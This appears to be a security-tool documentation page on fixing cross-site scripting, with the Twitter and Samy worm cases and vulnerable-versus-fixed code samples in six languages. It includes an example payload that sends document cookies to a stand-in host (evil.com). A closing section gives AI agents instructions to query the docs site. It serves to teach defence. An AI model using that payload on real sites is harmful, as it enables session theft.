# XSS

#### Tools recognizing this:

<kbd>Opengrep</kbd> <kbd>Fortify</kbd> <kbd>Checkmarx</kbd> <kbd>SonarQube</kbd> <kbd>Snyk</kbd> <kbd>Semgrep</kbd> <kbd>CodeQL</kbd>

## What is Cross-Site Scripting

Cross-Site Scripting (XSS) is a critical security vulnerability that occurs when an application includes untrusted data in a web page without proper validation or encoding.

The malicious scripts can be executed in the victim's browser, allowing attackers to:

* Steal session cookies and hijack user sessions
* Capture keystrokes and steal sensitive data
* Deface websites or modify content
* Redirect users to malicious sites
* Execute arbitrary JavaScript code in the user's context

## One Simple Example

Consider this classic example of displaying user input:

{% code overflow="wrap" %}

```javascript
// Fetch 'userName' parameter from the URL
var urlParams = new URLSearchParams(window.location.search);var userName = urlParams.get('userName');
// Post it back as HTML
document.getElementById("welcome").innerHTML = "Welcome " + userName;
```

{% endcode %}

An attacker could provide this input for the userName:

<mark style="color:red;">`<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>`</mark>

The resulting HTML becomes:

{% code overflow="wrap" %}

```html
<div id="welcome">Welcome <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
```

{% endcode %}

This allows the attacker to steal the user's session cookie and send it to the attacker's server. The script executes in the victim's browser context with full access to their cookies.

## Real-world Occurrences of XSS

#### Twitter XSS Worm (2010)

In 2010, Twitter was hit by the "onMouseOver" XSS worm that affected thousands of users. When users hovered their mouse over infected tweets, it would automatically retweet the malicious content. • How it happened: The vulnerability allowed JavaScript execution in tweets through improper input sanitization. • Impact: Rapid spread of malicious tweets and potential compromise of user accounts.

#### MySpace Samy Worm (2005)

The Samy worm infected over one million MySpace profiles in less than 24 hours. • How it happened: A user named Samy Kamkar exploited an XSS vulnerability to automatically add himself as a friend to anyone who viewed his profile. • Impact: Massive service disruption and demonstration of how quickly XSS attacks can spread.

## Fixing Cross-Site Scripting

The most efficient way to fix XSS issues in your code is to properly encode all untrusted data before including it in HTML, JavaScript, CSS, or URLs.

Context-aware encoding ensures that user input is treated as data rather than code, preventing script execution. Different contexts (HTML, JavaScript, CSS, URLs) require different encoding strategies to be effective.

### Code Samples

{% tabs %}
{% tab title="Java" %}
**Vulnerable Code**

```java
String userInput = request.getParameter("userInput");
out.println("<div>" + userInput + "</div>");
```

**Fixed Code**

```java
String userInput = request.getParameter("userInput");
String encodedInput = StringEscapeUtils.escapeHtml4(userInput);
out.println("<div>" + encodedInput + "</div>");
```

**Fix Explanation**

The vulnerable code directly outputs user input into HTML without encoding.\
The fix uses proper HTML encoding through Apache Commons Text.\
Special characters are converted to their HTML entities.\
The encoded output prevents script execution while preserving the intended display.
{% endtab %}

{% tab title="JavaScript" %}
**Vulnerable Code**

```javascript
const userInput = urlParams.get('userInput');
element.innerHTML = userInput;
```

**Fixed Code**

```javascript
const userInput = urlParams.get('userInput');
const encodedInput = DOMPurify.sanitize(userInput);
element.innerHTML = encodedInput;
```

**Fix Explanation**

The vulnerable code directly sets innerHTML with user input.\
The fix uses DOMPurify library to sanitize the input.\
Malicious HTML and JavaScript are stripped out.\
The sanitized output is safe to use with innerHTML.
{% endtab %}

{% tab title="Python" %}
**Vulnerable Code**

```python
user_input = request.args.get('userInput')
return f"<div>{user_input}</div>"
```

**Fixed Code**

```python
from markupsafe import escape
user_input = request.args.get('userInput')
return f"<div>{escape(user_input)}</div>"
```

**Fix Explanation**

The vulnerable code directly interpolates user input into HTML.\
The fix uses Markupsafe's escape function.\
Special characters are converted to HTML entities.\
The escaped output prevents script execution.
{% endtab %}

{% tab title="C#" %}
**Vulnerable Code**

```csharp
string userInput = Request.QueryString["userInput"];
Response.Write("<div>" + userInput + "</div>");
```

**Fixed Code**

```csharp
string userInput = Request.QueryString["userInput"];
string encodedInput = HttpUtility.HtmlEncode(userInput);
Response.Write("<div>" + encodedInput + "</div>");
```

**Fix Explanation**

The vulnerable code directly writes user input to the response.\
The fix uses HttpUtility.HtmlEncode for proper encoding.\
Special characters are converted to their HTML entities.\
The encoded output prevents script execution.
{% endtab %}

{% tab title="PHP" %}
**Vulnerable Code**

```php
$userInput = $_GET['userInput'];
echo "<div>$userInput</div>";
```

**Fixed Code**

```php
$userInput = $_GET['userInput'];
$encodedInput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
echo "<div>$encodedInput</div>";
```

**Fix Explanation**

The vulnerable code directly echoes user input into HTML.\
The fix uses htmlspecialchars with proper encoding options.\
Special characters are converted to HTML entities.\
The encoded output prevents script execution.
{% endtab %}

{% tab title="C/C++" %}
**Vulnerable Code**

```cpp
std::string userInput = request.getParameter("userInput");
response << "<div>" << userInput << "</div>";
```

**Fixed Code**

```cpp
std::string userInput = request.getParameter("userInput");
std::string encodedInput = htmlEncode(userInput);
response << "<div>" << encodedInput << "</div>";
```

**Fix Explanation**

The vulnerable code directly outputs user input into HTML.\
The fix uses a custom HTML encoding function.\
Special characters are converted to HTML entities.\
The encoded output prevents script execution.
{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.mobb.ai/mobb-user-docs/fixing-guides/cross-site-scripting-fix-guide.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
